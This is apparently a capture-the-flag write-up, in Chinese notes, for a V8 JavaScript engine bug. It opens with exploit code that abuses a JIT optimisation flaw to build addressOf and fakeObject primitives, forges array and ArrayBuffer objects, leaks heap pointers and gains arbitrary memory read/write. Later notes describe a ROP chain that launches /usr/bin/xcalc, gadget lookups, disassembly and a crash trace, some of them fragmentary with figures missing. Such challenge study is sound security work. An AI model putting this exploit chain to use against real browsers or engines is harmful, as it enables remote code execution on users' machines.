function hex(i) { return "0x"+i.toString(16).padStart(16, "0"); } var buf = new ArrayBuffer(0x8); var dv = new DataView(buf); function p64f(value1,value2) { dv.setUint32(0,value1,true); dv.setUint32(0x4,value2,true); return dv.getFloat64(0,true); } function i2f64(value) { dv.setBigUint64(0,BigInt(value),true); return dv.getFloat64(0,true); } function u64f(value) { dv.setFloat64(0,value,true); return dv.getBigUint64(0,true); } function u32f(value) { dv.setFloat64(0,value,true); return dv.getUint32(0,true); } function i2f(value) { dv.setUint32(0,value,true); return dv.getFloat32(0,true); } // function opt0(o) { for(var i = 0; i < 200000; i++) { } let a = [1.1,2.2,3.3,4.4]; let b = [a]; o(b); return a[0]; } for (var i=0;i<10;i++) { opt0((o)=>{}); } var spary_size = 0x201; var spary = new Array(spary_size); for (var i=0;i<spary_size;i+=3) { spary[i] = new Array(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11,12.12,13.13,14.14,15.15); spary[i+1] = new ArrayBuffer(0x2000); spary[i+2] = new Float64Array(0x5); } function addressOf(obj) { var addr = opt0((o)=>{o[0][0] = obj;}); return u32f(addr) - 1; } function fakeObject(addr) { var fval = i2f64(addr + 1); let f = eval(`(x,y,val)=>{ for(var i = 0; i < 200000; i++) { } let a = [1.1,2.2,3.3,4.4]; let b = [a]; x(b); a[0] = val; return y(b); }`); for (var i=0;i<10;i++) { f((o)=>{},(o)=>{},fval); } return f((o)=>{o[0][0] = {};},(o)=>{return o[0][0];},fval); } let arr = spary[spary_size-0x3]; let arr_address = addressOf(arr); let proto_addr = addressOf(Array.prototype); %DebugPrint(arr); %DebugPrint(spary); //fake a FixedDoubleArray Map arr[0] = p64f(0x08042115,0x18040404); arr[1] = p64f(0x29000423,0x0a0007ff); arr[2] = p64f(proto_addr+1,0); //alert(arr_address.toString(16)); let element_addr = arr_address + 0x14; let fake_element = element_addr+0x44; //fake a FixedDoubleArray arr[4] = p64f(0,element_addr+0x8+0x1); arr[5] = p64f(0x08042229,fake_element+1); arr[6] = p64f(0x7ffffffe,0); //fake a FixedDoubleArray's element arr[7] = p64f(0,0x08042ab1); arr[8] = p64f(0x7ffffffe,0); var arb_fixeddouble_arr = fakeObject(element_addr + 0x2c); //leak backing store backing_store_addr = u64f(arb_fixeddouble_arr[0x9]); heap_t_addr = u64f(arb_fixeddouble_arr[0xa]) //alert(backing_store_addr.toString(16)); //alert(heap_t_addr.toString(16)); //leak compression ptr high byte compression_high_bytes = u32f(arb_fixeddouble_arr[0x20]); //alert(compression_high_bytes.toString(16)); function addressOf_full(obj) { var addr = addressOf(obj); return (BigInt(compression_high_bytes) << 32n) + BigInt(addr); } arr = spary[spary_size-0x6]; arr_address = addressOf(arr); proto_addr = addressOf(ArrayBuffer.prototype); //fake a ArrayBuffer Map arr[0] = p64f(0x08042115,0x140e0e0e); arr[1] = p64f(0x19000424,0x084003ff); arr[2] = p64f(proto_addr+1,0); element_addr = arr_address + 0x14; fake_element = element_addr+0x44; //fake a ArrayBuffer arr[4] = p64f(0,element_addr+0x8+0x1); arr[5] = p64f(0x08042229,0x08042229); arr[6] = p64f(0xffffffff,0); arr[7] = p64f(0,0); arr[9] = p64f(0,2); var arb_arraybuffer = fakeObject(element_addr + 0x2c); var adv = new DataView(arb_arraybuffer); function read64(addr) { arr[7] = i2f64(addr); return adv.getBigUint64(0,true); } function write64(addr,value) { arr[7] = i2f64(addr); adv.setBigUint64(0,BigInt(value),true); }
更改的部分圈出
查一下正常ArrayBuffer的map值
我们对上面的大伪造图进行划分
fake_map
fake_arrayBuffer
这里忘了一点,调一下ABF的内存情况
a = new ArrayBuffer(0x200);
%DebugPrint(a);
%SystemBreak();
内存
所以应该是
A | B | C | D |
---|---|---|---|
Map | properties | elements | length |
不知 | backstore后32 | backstore前32 | heap_some |
heap_some | embedder fields2 ? | ||
这里就是伪造第一行,中间置为0,最后一个2(这个测试了下,好像不影响)
function read64(addr) {
arr[7] = i2f64(addr);
return adv.getBigUint64(0,true);
}
function write64(addr,value) {
arr[7] = i2f64(addr);
adv.setBigUint64(0,BigInt(value),true);
}
arr[7]正好是backstore,实现任意地址读写
在调用数组取数据的时候
a[0] check代码
0x286d000857bd 1bd 488b4dd8 REX.W movq rcx,[rbp-0x28]
0x286d000857c1 1c1 41b8fd383008 movl r8,0x83038fd ;; (compressed) object: 0x286d083038fd <Map(PACKED_DOUBLE_ELEMENTS)> <==========
0x286d000857c7 1c7 443941ff cmpl [rcx-0x1],r8
0x286d000857cb 1cb 0f859e010000 jnz 0x286d0008596f <+0x36f>
不存在check是怎样的
0x2343000857de 1be 488b4dd8 REX.W movq rcx,[rbp-0x28]
0x2343000857e2 1c2 448b4107 movl r8,[rcx+0x7] ;以DOUBLE_ELEMENTS的方式取数据
存在check
0x286d000857bd 1bd 488b4dd8 REX.W movq rcx,[rbp-0x28]
0x286d000857c1 1c1 41b8fd383008 movl r8,0x83038fd ;; (compressed) object: 0x286d083038fd <Map(PACKED_DOUBLE_ELEMENTS)>
0x286d000857c7 1c7 443941ff cmpl [rcx-0x1],r8
0x286d000857cb 1cb 0f859e010000 jnz 0x286d0008596f <+0x36f>
0x286d000857d1 1d1 448b4107 movl r8,[rcx+0x7]
都是先从栈上取数据,之后给rcx,然后通过rcx取值
不能正常的显示界面
尝试使用之前安装的命令
npm i
npm run-script build
出错
后来看7ov8师傅的blog说出现这样的问题是正常的
上面重新搭建之后,通过右击index.html 之后就可以正常使用了
在源码中有这样的注释
对于所有unknow nodes,会进入到这里
而调用函数正是一个unknown节点
/usr/bin/xcalc
测试发现div对象只出现在html中
可以使用alert的方法暂停一下解析,
attach的进程
这样vmmap泄露的地址才有值
调试一下rop_chain位置
首先我使用alert命令
然后通过控制台下断点
但是没有段下来
之后reload了一下,成功断下
程序依次执行rop_chain
执行system失败了(原因暂时没有调试),之后ret到了0
打印优化代码
-print-opt-code
在源码中下断点,下断点的位置要精确
关于trace-turbo
--trace-turbo-path ../
设置文件的路径
关于打印优化代码
具体的优化函数
具体优化的代码(打印出来的就是)
通过特征快速定位优化代码中的关键部位
生成新的JIT代码以为着之前生成的JIT代码没有被触发,当函数调用次数大于opt优化次数时,后面调用opt都会使用最后的JIT代码,触发源代码中的patch。如果形成的JIT优化代码触发patch位置,同样会断下来
尽管我调用了很多次函数,但是我仍然可以在含有循环的js脚本中调试源码,因为只有在产生JIT代码的时候才会断在源码中
可以看到下图中有三个json文件
这是因为运行本js的时候总共优化了三次
而对于本题来说我想看的是第三个
位置
/usr/bin/xcalc
var arb_fixeddouble_arr = fakeObject(element_addr + 0x2c);
console.log(hex(element_addr + 0x2c));
console.log(arb_fixeddouble_arr);<====error
%SystemBreak();
已经是obj了,要用%DebugPrint
当我打算%DebugPrint时(虽然程序崩了,但是确实返回JsArray)
用于对比 当我没有进行fake_obj时同一个地址
DebugPrint: Smi: 0x815a6e4 (135636708)
0x815a6e4
DebugPrint: 0x359b0815a6e5: [JSArray]
- map: 0x359b0815a6c1 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x359b082cb5e9 <JSArray[0]>
- elements: 0x359b0815a6fd <FixedDoubleArray[1073741823]> [HOLEY_DOUBLE_ELEMENTS]
- length: 1073741823
- properties: 0x359b08042229 <FixedArray[0]> {
#
# Fatal error in ../../src/objects/heap-object.h, line 219
# Check failed: !v8::internal::FLAG_enable_slow_asserts || (IsHeapObject()).
#
#
#
#FailureMessage Object: 0x7ffc880fcd80
==== C stack trace ===============================
/ / /v8/out.gn/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x21) [0x7fca669e1411]
/ / /v8/out.gn/x64.debug/libv8_libplatform.so(+0x5905a) [0x7fca6696505a]
/ / /v8/out.gn/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x26f) [0x7fca669c8cbf]
/ / /v8/out.gn/x64.debug/d8(v8::internal::HeapObject::HeapObject(unsigned long)+0x82) [0x5616c53ba582]
/ / /v8/out.gn/x64.debug/libv8.so(v8::internal::TorqueGeneratedDescriptorArray<v8::internal::DescriptorArray, v8::internal::HeapObject>::TorqueGeneratedDescriptorArray(unsigned long)+0x27) [0x7fca64b9f787]
/ / /v8/out.gn/x64.debug/libv8.so(v8::internal::DescriptorArray::DescriptorArray(unsigned long)+0x20) [0x7fca64b9f720]
/ / /v8/out.gn/x64.debug/libv8.so(v8::internal::TaggedField<v8::internal::DescriptorArray, 24>::load(v8::internal::IsolateRoot, v8::internal::HeapObject, int)+0x53) [0x7fca64b9f693]
/ / /v8/out.gn/x64.debug/libv8.so(v8::internal::Map::instance_descriptors(v8::internal::IsolateRoot, v8::RelaxedLoadTag) const+0x3d) [0x7fca64b9f62d]
/ / /v8/out.gn/x64.debug/libv8.so(v8::internal::Map::instance_descriptors(v8::RelaxedLoadTag) const+0x48) [0x7fca64b80018]
/ / /v8/out.gn/x64.debug/libv8.so(v8::internal::JSObject::PrintProperties(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+0x5d) [0x7fca64ee107d]
/ / /v8/out.gn/x64.debug/libv8.so(+0x255b1a6) [0x7fca64ee51a6]
/ / /v8/out.gn/x64.debug/libv8.so(v8::internal::JSArray::JSArrayPrint(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+0x8f) [0x7fca64edcc4f]
/ / /v8/out.gn/x64.debug/libv8.so(v8::internal::HeapObject::HeapObjectPrint(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+0x1aaa) [0x7fca64ed4dca]
/ / /v8/out.gn/x64.debug/libv8.so(v8::internal::Object::Print(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&) const+0x100) [0x7fca64ed3310]
/ / /v8/out.gn/x64.debug/libv8.so(+0x2f4a4a2) [0x7fca658d44a2]
/ / /v8/out.gn/x64.debug/libv8.so(+0x2f2f5cd) [0x7fca658b95cd]
/ / /v8/out.gn/x64.debug/libv8.so(v8::internal::Runtime_DebugPrint(int, unsigned long*, v8::internal::Isolate*)+0x128) [0x7fca658b9288]
/ / /v8/out.gn/x64.debug/libv8.so(+0x1c8031a) [0x7fca6460a31a]
感觉这个时候应该使用release模式进行调试了
xchg_rax_rsp '0x48', '0x94'
https://www.anquanke.com/post/id/224317
官方WP